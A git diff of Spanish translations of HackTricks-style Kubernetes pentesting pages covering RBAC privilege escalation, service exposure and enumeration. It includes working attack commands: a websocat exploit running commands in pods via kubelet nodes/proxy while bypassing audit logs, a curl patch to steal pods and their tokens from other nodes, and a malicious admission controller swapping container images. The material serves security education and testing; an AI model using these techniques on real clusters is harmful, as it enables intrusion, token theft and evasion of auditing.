necesitarás **generar tu propio kubectl config file** (sigue el siguiente enlace). +Hay **2 ways to assign K8s permissions to GCP principals**. En cualquier caso, el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales y acceder al cluster, o tendrás que **generate your own kubectl config file** (sigue el siguiente enlace). > [!WARNING] > When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\ > If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given. -Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it. +Entonces, el primer método es using **GCP IAM**, las permisos de K8s tienen su **equivalent GCP IAM permissions**, y si el principal las tiene, podrá usarlas. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included). +El segundo método es **assigning K8s permissions inside the cluster** al usuario identificado por su **email** (incluidas las cuentas de servicio de GCP). ### Create serviceaccounts token @@ -615,10 +616,10 @@ Principals with any of the verbs `create`, `update` or `patch` over `validatingw For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### Escalar +### Escalate -As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\ -Then he can update/create new roles, clusterroles with better permissions than the ones he has. +Como puedes leer en la siguiente sección: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verb `escalate` or `*`** sobre **`roles`** o **`clusterroles`** y las respectivas opciones de binding.\ +Entonces puede update/create nuevos roles, clusterroles con mejores permisos que los que tiene. ### Nodes proxy @@ -635,7 +636,7 @@ Principals with access to the **`nodes/proxy`** subresource can **execute code o - If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes//proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`. - The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated. -**Explotación directa (requiere alcanzabilidad de red al kubelet y un token con `nodes/proxy` GET):** +**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** ```bash kubectl auth can-i --list | grep "nodes/proxy" websocat --insecure \ @@ -643,13 +644,13 @@ websocat --insecure \ --protocol "v4.channel.k8s.io" \ "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" ``` -- Usa el **IP del nodo**, no el nombre del nodo. La misma petición con `curl -X POST` será **Forbidden** porque se mapea a `create`. -- El acceso directo al kubelet evita al servidor API, por lo que AuditPolicy solo muestra `subjectaccessreviews` desde el kubelet user agent y **no registra `pods/exec`**. -- Enumera las cuentas de servicio afectadas con el [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET. +- Use the **Node IP**, not the node name. La misma solicitud con `curl -X POST` será **Forbidden** porque se mapea a `create`. +- El acceso directo a kubelet evita el API server, así que AuditPolicy solo muestra `subjectaccessreviews` desde el user agent de kubelet y **no registra** comandos `pods/exec`. +- Enumera las service accounts afectadas con el [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET. -### Eliminar pods + nodos no programables +### Delete pods + unschedulable nodes -Identidades que pueden **delete pods** (`delete` verb over `pods` resource), o **evict pods** (`create` verb over `pods/eviction` resource), o **change pod status** (access to `pods/status`) y pueden **make other nodes unschedulable** (access to `nodes/status`) o **delete nodes** (`delete` verb over `nodes` resource) y tienen control sobre un pod, podrían **steal pods from other nodes** de modo que sean **executed** en el **compromised** **node** y el atacante pueda **steal the tokens** de esos pods. +Los principals que pueden **delete pods** (`delete` verb sobre el recurso `pods`), o **evict pods** (`create` verb sobre el recurso `pods/eviction`), o **change pod status** (acceso a `pods/status`) y pueden **make other nodes unschedulable** (acceso a `nodes/status`) o **delete nodes** (`delete` verb sobre el recurso `nodes`) y tienen control sobre un pod, podrían **steal pods from other nodes** para que sean **executed** en el **node** **compromised** y el attacker pueda **steal the tokens** de esos pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -662,41 +663,41 @@ kubectl delete pods -n kube-system ``` ### Services status (CVE-2020-8554) -Principals que pueden **modify** **`services/status`** pueden establecer el campo `status.loadBalancer.ingress.ip` para explotar el **unfixed CVE-2020-8554** y lanzar **MiTM ataques contra el clus**ter. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen ExternalIP services (según [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Los Principals que pueden **modificar** **`services/status`** pueden establecer el campo `status.loadBalancer.ingress.ip` para explotar la **CVE-2020-8554 sin parchear** y lanzar **ataques MiTM contra el clus**ter. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen servicios ExternalIP (según [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Nodes and Pods status -Principals con permisos de **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar labels para afectar las restricciones de scheduling aplicadas. +Los Principals con permisos **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar labels para afectar las restricciones de scheduling aplicadas. ## Built-in Privileged Escalation Prevention -Kubernetes tiene un [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalada de privilegios. +Kubernetes tiene un [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalada de privilegios. -Este sistema asegura que **los usuarios no pueden elevar sus privilegios modificando roles o role bindings**. La aplicación de esta regla ocurre a nivel del API, proporcionando una salvaguarda incluso cuando el authorizer RBAC está inactivo. +Este sistema garantiza que los **users no puedan elevar sus privilegios modificando roles o role bindings**. La aplicación de esta regla ocurre a nivel de API, proporcionando una salvaguarda incluso cuando el autorizer de RBAC está inactivo. -La regla estipula que un **usuario solo puede crear o actualizar un role si posee todos los permisos que el role comprende**. Además, el alcance de los permisos existentes del usuario debe alinearse con el del role que intenta crear o modificar: ya sea a nivel de cluster para ClusterRoles o confinado al mismo namespace (o a nivel de cluster) para Roles. +La regla estipula que un **user solo puede crear o actualizar un role si posee todos los permisos que el role comprende**. Además, el alcance de los permisos existentes del user debe coincidir con el del role que intenta crear o modificar: o bien a nivel cluster para ClusterRoles, o bien limitado al mismo namespace (o a nivel cluster) para Roles. > [!WARNING] -> Existe una excepción a la regla anterior. Si un principal tiene el **verb `escalate`** sobre **`roles`** o **`clusterroles`** puede aumentar los privilegios de roles y clusterroles incluso sin poseer esos permisos él mismo. +> Hay una excepción a la regla anterior. Si un principal tiene el **verb `escalate`** sobre **`roles`** o **`clusterroles`** puede aumentar los privilegios de roles y clusterroles incluso sin tener él mismo los permisos. ### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** +> **Aparentemente esta técnica funcionaba antes, pero según mis pruebas ya no funciona por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a un SA diferente algunos privilegios si no los tienes ya.** -El privilegio para crear Rolebindings permite a un usuario **bind roles to a service account**. Este privilegio puede potencialmente llevar a una escalada de privilegios porque **permite al usuario bind admin privileges a una service account comprometida.** +El privilegio de crear Rolebindings permite a un user **vincular roles a una service account**. Este privilegio puede llevar potencialmente a una escalada de privilegios porque **permite al user vincular privilegios de admin a una service account comprometida.** ## Other Attacks ### Sidecar proxy app -Por defecto no existe cifrado en la comunicación entre pods. Autenticación mutua, two-way, pod to pod. +Por defecto no hay ningún cifrado en la comunicación entre pods .Mutual authentication, two-way, pod to pod. #### Create a sidecar proxy app -Un sidecar container consiste simplemente en añadir un **second (or more) container inside a pod**. +Un sidecar container consiste simplemente en añadir un **segundo (o más) container dentro de un pod**. -For example, the following is part of the configuration of a pod with 2 containers: +Por ejemplo, lo siguiente es parte de la configuración de un pod con 2 containers: ```yaml spec: containers: @@ -706,17 +707,17 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Por ejemplo, para backdoor un pod existente con un nuevo container podrías simplemente añadir un nuevo container en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo container que el primero no tendrá. +Por ejemplo, para backdoor de un pod existente con un nuevo container, podrías simplemente añadir un nuevo container en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo container que el primero no tendrá. -More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Más info en: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Controlador de admisión malicioso +### Malicious Admission Controller -Un controlador de admisión **intercepta las solicitudes al Kubernetes API server** antes de la persistencia del objeto, pero **después de que la solicitud esté autenticada** **y autorizada**. +Un admission controller **intercepta requests al Kubernetes API server** antes de la persistencia del objeto, pero **después de que la request está autenticada** **y autorizada**. -Si un atacante de alguna manera logra **inyectar un Mutation Admission Controller**, podrá **modificar solicitudes ya autenticadas**. Esto le permitiría potencialmente privesc, y más comúnmente persistir en el cluster. +Si un atacante de alguna manera logra **inyectar un Mutation Admission Controller**, podrá **modificar requests ya autenticadas**. Siendo capaz de potencialmente privesc, y más habitualmente persistir en el cluster. -**Ejemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): +**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo @@ -730,23 +731,23 @@ kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -A continuación, despliega un nuevo pod: +Luego despliega un nuevo pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Cuando veas un error `ErrImagePull`, verifica el nombre de la imagen con cualquiera de las consultas: +Cuando puedas ver el error `ErrImagePull`, verifica el nombre de la imagen con cualquiera de las consultas: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Como puede verse en la imagen anterior, intentamos ejecutar la imagen `nginx` pero la imagen finalmente ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de suceder? +Como puedes ver en la imagen de arriba, intentamos ejecutar la imagen `nginx` pero la imagen ejecutada final es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!!? -#### Detalles técnicos +#### Technicalities -El script `./deploy.sh` establece un controlador de admisión mutating webhook, que modifica las solicitudes a la API de Kubernetes según se especifica en sus líneas de configuración, influyendo en los resultados observados: +El script `./deploy.sh` establece un mutating webhook admission controller, que modifica las requests a la Kubernetes API según se especifica en sus líneas de configuración, influyendo en los resultados observados: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -754,7 +755,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -El fragmento anterior reemplaza la primera imagen de contenedor en cada pod con `rewanthtammana/malicious-image`. +El snippet anterior reemplaza la primera imagen del container en cada pod por `rewanthtammana/malicious-image`. ## OPA Gatekeeper bypass @@ -762,22 +763,22 @@ El fragmento anterior reemplaza la primera imagen de contenedor en cada pod con ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Mejores prácticas +## Best Practices -### **Deshabilitar el montaje automático de tokens de cuentas de servicio** +### **Deshabilitar Automount de Service Account Tokens** -- **Pods y cuentas de servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para aumentar la seguridad, Kubernetes permite deshabilitar esta funcionalidad de automount. -- **Cómo aplicarlo**: Configure `automountServiceAccountToken: false` en la configuración de las cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes. +- **Pods y Service Accounts**: Por defecto, los pods montan un service account token. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automount. +- **Cómo aplicarlo**: Configura `automountServiceAccountToken: false` en la configuración de los service accounts o pods desde la versión 1.6 de Kubernetes. ### **Asignación restrictiva de usuarios en RoleBindings/ClusterRoleBindings** -- **Inclusión selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite periódicamente y elimine usuarios irrelevantes para mantener una seguridad estricta. +- **Inclusión selectiva**: Asegúrate de que solo los users necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audita y elimina regularmente los users irrelevantes para mantener una seguridad estricta. -### **Roles por namespace en lugar de Roles a nivel de clúster** +### **Roles específicos por namespace en lugar de Roles a nivel de cluster** -- **Roles vs. ClusterRoles**: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que aplican a todo el clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos. +- **Roles vs. ClusterRoles**: Prefiere usar Roles y RoleBindings para permisos específicos de un namespace en lugar de ClusterRoles y ClusterRoleBindings, que se aplican a todo el cluster. Este enfoque ofrece un control más preciso y limita el alcance de los permisos. -### **Usar herramientas automatizadas** +### **Usa automated tools** {{#ref}} https://github.com/cyberark/KubiScan @@ -791,7 +792,7 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **Referencias** +## **References** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 65cb90e0c..c73d73f4c 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -1,12 +1,12 @@ -# Exponiendo Servicios en Kubernetes +# Exposing Services in Kubernetes {{#include ../../banners/hacktricks-training.md}} -Hay **diferentes formas de exponer servicios** en Kubernetes para que tanto los endpoints **internos** como los **externos** puedan acceder a ellos. Esta configuración de Kubernetes es bastante crítica, ya que el administrador podría dar acceso a **atacantes a servicios a los que no deberían poder acceder**. +Hay **diferentes formas de exponer services** en Kubernetes para que tanto los endpoints **internal** como los endpoints **external** puedan acceder a ellos. Esta configuración de Kubernetes es bastante crítica, ya que el administrator podría dar acceso a **attackers a services they shouldn't be able to access**. -### Enumeración Automática +### Automatic Enumeration -Antes de comenzar a enumerar las formas en que K8s ofrece exponer servicios al público, sepa que si puede listar namespaces, servicios e ingresses, puede encontrar todo lo expuesto al público con: +Antes de empezar a enumerar las formas que K8s ofrece para exponer services al público, ten en cuenta que si puedes listar namespaces, services e ingresses, puedes encontrar todo lo expuesto al público con: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,13 +20,13 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -Un **servicio ClusterIP** es el **servicio** predeterminado de Kubernetes. Te proporciona un **servicio dentro** de tu clúster al que otras aplicaciones dentro de tu clúster pueden acceder. No hay **acceso externo**. +Un servicio **ClusterIP** es el **service** predeterminado de Kubernetes. Te da un **service inside** tu cluster al que otras apps dentro de tu cluster pueden acceder. **No hay acceso externo**. -Sin embargo, esto se puede acceder utilizando el Proxy de Kubernetes: +Sin embargo, esto se puede acceder usando el Kubernetes Proxy: ```bash kubectl proxy --port=8080 ``` -Ahora, puedes navegar a través de la API de Kubernetes para acceder a los servicios utilizando este esquema: +Ahora, puedes navegar a través de la Kubernetes API para acceder a services usando este esquema: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` @@ -34,7 +34,7 @@ Por ejemplo, podrías usar la siguiente URL: `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` -para acceder a este servicio: +para acceder a este service: ```yaml apiVersion: v1 kind: Service @@ -50,7 +50,7 @@ port: 80 targetPort: 80 protocol: TCP ``` -_Este método requiere que ejecutes `kubectl` como un **usuario autenticado**._ +_Este método requiere que ejecutes `kubectl` como un **authenticated user**._ Lista todos los ClusterIPs: ```bash @@ -58,9 +58,9 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam ``` ### NodePort -Cuando se utiliza **NodePort**, se hace disponible un puerto designado en todos los Nodos (que representan las Máquinas Virtuales). **El tráfico** dirigido a este puerto específico se **rutea sistemáticamente al servicio**. Típicamente, este método no se recomienda debido a sus desventajas. +Cuando se utiliza **NodePort**, se pone a disposición un puerto designado en todos los Nodes (que representan las Virtual Machines). El **tráfico** dirigido a este puerto específico se **redirige al service** de forma sistemática. Normalmente, este método no se recomienda debido a sus inconvenientes. -Lista todos los NodePorts: +List all NodePorts: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` @@ -81,28 +81,30 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -Si **no especificas** el **nodePort** en el yaml (es el puerto que se abrirá) se utilizará un puerto en el **rango 30000–32767**. +Si **no especificas** el **nodePort** en el yaml (es el puerto que se abrirá), se usará un puerto en el **rango 30000–32767**. -### LoadBalancer +### LoadBalancer -Expone el Servicio externamente **utilizando el balanceador de carga de un proveedor de nube**. En GKE, esto iniciará un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que te dará una única dirección IP que redirigirá todo el tráfico a tu servicio. En AWS, lanzará un Load Balancer. +Expone el Service externamente **using a cloud provider's load balancer**. En GKE, esto iniciará un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que te dará una única dirección IP que reenviará todo el tráfico a tu service. En AWS, lanzará un Load Balancer. -Tienes que pagar por un LoadBalancer por cada servicio expuesto, lo que puede ser costoso. +Tienes que pagar por un LoadBalancer por cada service expuesto, lo cual puede ser costoso. -Lista todos los LoadBalancers: +List all LoadBalancers: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` -### IPs Externos +### External IPs > [!TIP] -> Los IPs externos son expuestos por servicios de tipo Load Balancers y generalmente se utilizan cuando se está usando un Load Balancer de un Proveedor de Nube externo. +> Los External IPs son expuestos por servicios de tipo Load Balancers y generalmente se usan cuando se está utilizando un external Cloud Provider Load Balancer. > -> Para encontrarlos, verifica los load balancers con valores en el campo `EXTERNAL-IP`. +> Para encontrarlos, revisa los load balancers con valores en el campo `EXTERNAL-IP`. -El tráfico que ingresa al clúster con el **IP externo** (como **IP de destino**), en el puerto del Servicio, será **enrutado a uno de los endpoints del Servicio**. `externalIPs` no son gestionados por Kubernetes y son responsabilidad del administrador del clúster. +El tráfico que ingresa al cluster con la **external IP** (como **destination IP**), en el puerto del Service, será **ruteado a uno de los endpoints del Service**. `externalIPs` no están gestionados por Kubernetes y son responsabilidad del administrador del cluster. -En la especificación del Servicio, `externalIPs` se pueden especificar junto con cualquiera de los `ServiceTypes`. En el ejemplo a continuación, "`my-service`" puede ser accedido por clientes en "`80.11.12.10:80`" (`externalIP:port`) +`externalIPs` es un campo sensible de control de ruta porque un usuario que pueda configurarlo podría reclamar tráfico para una dirección IP que el propietario del Service no debería controlar si la red circundante enruta esa IP al cluster. Kubernetes anunció la deprecación y eliminación planificada de `externalIPs` de Service en v1.36, así que es preferible usar mecanismos de exposición gestionados por el controller como integraciones de LoadBalancer o Gateway API cuando sea posible, y restringir/admitir este campo con cuidado mientras todavía exista. + +En la spec del Service, `externalIPs` puede especificarse junto con cualquiera de los `ServiceTypes`. En el ejemplo de abajo, "`my-service`" puede ser accedido por clients en "`80.11.12.10:80`" (`externalIP:port`) ```yaml apiVersion: v1 kind: Service @@ -121,9 +123,9 @@ externalIPs: ``` ### ExternalName -[**De la documentación:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Los servicios de tipo ExternalName **mapean un servicio a un nombre DNS**, no a un selector típico como `my-service` o `cassandra`. Especificas estos servicios con el parámetro `spec.externalName`. +[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Los Services de tipo ExternalName **asignan un Service a un nombre DNS**, no a un selector típico como `my-service` o `cassandra`. Especificas estos Services con el parámetro `spec.externalName`. -Esta definición de servicio, por ejemplo, mapea el servicio `my-service` en el espacio de nombres `prod` a `my.database.example.com`: +Esta definición de Service, por ejemplo, asigna el Service `my-service` en el namespace `prod` a `my.database.example.com`: ```yaml apiVersion: v1 kind: Service @@ -134,56 +136,95 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Al buscar el host `my-service.prod.svc.cluster.local`, el Servicio DNS del clúster devuelve un registro `CNAME` con el valor `my.database.example.com`. Acceder a `my-service` funciona de la misma manera que otros Servicios, pero con la diferencia crucial de que **la redirección ocurre a nivel de DNS** en lugar de a través de proxy o reenvío. +Al buscar el host `my-service.prod.svc.cluster.local`, el DNS Service del cluster devuelve un registro `CNAME` con el valor `my.database.example.com`. Acceder a `my-service` funciona de la misma manera que con otros Services, pero con la diferencia crucial de que la **redirección ocurre a nivel de DNS** en lugar de mediante proxying o forwarding. -Lista todos los ExternalNames: +List all ExternalNames: ```bash kubectl get services --all-namespaces | grep ExternalName ``` +### EndpointSlices + +EndpointSlices muestran las direcciones y puertos de backend concretos a los que un Service enruta actualmente. Son especialmente útiles cuando un Service no tiene selector, cuando las etiquetas no explican el flujo de tráfico, o cuando solo algunos backends están listos. + +Lista de EndpointSlices asociados con Services: +```bash +kubectl get endpointslices --all-namespaces +kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml +kubectl get endpointslice -n -l kubernetes.io/service-name= \ +-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' +``` +Al revisar la exposición, compara el selector del Service con el `targetRef` de EndpointSlice, las direcciones de endpoint, las condiciones de readiness y los ports. Un Service sin selector puede emparejarse con EndpointSlices gestionados manualmente y enrutar tráfico a destinos que no son Pods o inesperados. + ### Ingress -A diferencia de todos los ejemplos anteriores, **Ingress NO es un tipo de servicio**. En cambio, se sitúa **frente a múltiples servicios y actúa como un “enrutador inteligente”** o punto de entrada a tu clúster. +A diferencia de todos los ejemplos anteriores, **Ingress NO es un tipo de service**. En su lugar, se sitúa **frente a múltiples services y actúa como un “smart router”** o punto de entrada a tu cluster. -Puedes hacer muchas cosas diferentes con un Ingress, y hay **muchos tipos de controladores de Ingress que tienen diferentes capacidades**. +Puedes hacer muchas cosas distintas con un Ingress, y hay **muchos tipos de Ingress controllers que tienen distintas capacidades**. -El controlador de ingress predeterminado de GKE iniciará un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para ti. Esto te permitirá hacer enrutamiento basado en rutas y subdominios a servicios de backend. Por ejemplo, puedes enviar todo en foo.yourdomain.com al servicio foo, y todo bajo la ruta yourdomain.com/bar/ al servicio bar. +El Ingress controller predeterminado de GKE levantará un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para ti. Esto te permitirá hacer tanto routing basado en paths como basado en subdomains hacia backend services. Por ejemplo, puedes enviar todo lo que llegue a foo.yourdomain.com al service foo, y todo lo que esté bajo la ruta yourdomain.com/bar/ al service bar. El YAML para un objeto Ingress en GKE con un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) podría verse así: ```yaml -apiVersion: extensions/v1beta1 +apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: my-ingress spec: -backend: -serviceName: other -servicePort: 8080 +defaultBackend: +service: +name: other +port: +number: 8080 rules: - host: foo.mydomain.com http: paths: -- backend: -serviceName: foo -servicePort: 8080 +- path: / +pathType: Prefix +backend: +service: +name: foo +port: +number: 8080 - host: mydomain.com http: paths: -- path: /bar/* +- path: /bar +pathType: Prefix backend: -serviceName: bar -servicePort: 8080 +service: +name: bar +port: +number: 8080 ``` -Lista todos los ingresses: +Enumera todos los ingress: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Aunque en este caso es mejor obtener la información de cada uno uno por uno para leerla mejor: +Aunque en este caso es mejor obtener la info de cada uno por separado para leerla mejor: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` -### Referencias +### Gateway API + +Gateway API es la nueva API de Kubernetes para exponer Services. Separa los objetos Gateway, propiedad de la infraestructura, de los objetos Route, propiedad de la aplicación, como HTTPRoute. Esto es útil para delegación, pero también significa que la exposición puede dividirse entre namespaces. + +Listar objetos de exposición de Gateway API: +```bash +kubectl get gatewayclasses +kubectl get gateways --all-namespaces +kubectl get httproutes --all-namespaces +kubectl get gateway -n -o yaml +kubectl get httproute -n -o yaml +``` +Revisa los listeners de Gateway, los namespaces de rutas permitidos, `parentRefs` de Route, hostnames, filters, referencias a backend y condiciones de estado, como si la route fue accepted. Una Route accepted por un shared Gateway puede exponer un backend incluso cuando no existe ningún objeto legacy Ingress. + +### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) +- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) +- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 326e1c5ff..18ca669c0 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -1,27 +1,27 @@ -# Enumeración de Kubernetes +# Kubernetes Enumeration {{#include ../../banners/hacktricks-training.md}} -## Tokens de Kubernetes +## Kubernetes Tokens -Si has comprometido el acceso a una máquina, el usuario puede tener acceso a alguna plataforma de Kubernetes. El token generalmente se encuentra en un archivo señalado por la **var de entorno `KUBECONFIG`** o **dentro de `~/.kube`**. +Si has comprometido acceso a una máquina, el usuario puede tener acceso a alguna plataforma Kubernetes. El token suele estar ubicado en un archivo indicado por la **env var `KUBECONFIG`** o **dentro de `~/.kube`**. -En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al servidor API**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente. +En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al API server**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente. -Si has comprometido un pod dentro de un entorno de Kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual: +Si has comprometido un pod dentro de un entorno kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual: -### Tokens de Cuenta de Servicio +### Service Account Tokens -Antes de continuar, si no sabes qué es un servicio en Kubernetes, te sugeriría que **sigas este enlace y leas al menos la información sobre la arquitectura de Kubernetes.** +Antes de continuar, si no sabes qué es un service en Kubernetes te sugiero **seguir este enlace y leer al menos la información sobre Kubernetes architecture.** -Tomado de la [documentación](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): +Tomado de la [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) de Kubernetes: -_“Cuando creas un pod, si no especificas una cuenta de servicio, se le asigna automáticamente la_ cuenta de servicio _predeterminada en el mismo espacio de nombres.”_ +_“When you create a pod, if you do not specify a service account, it is automatically 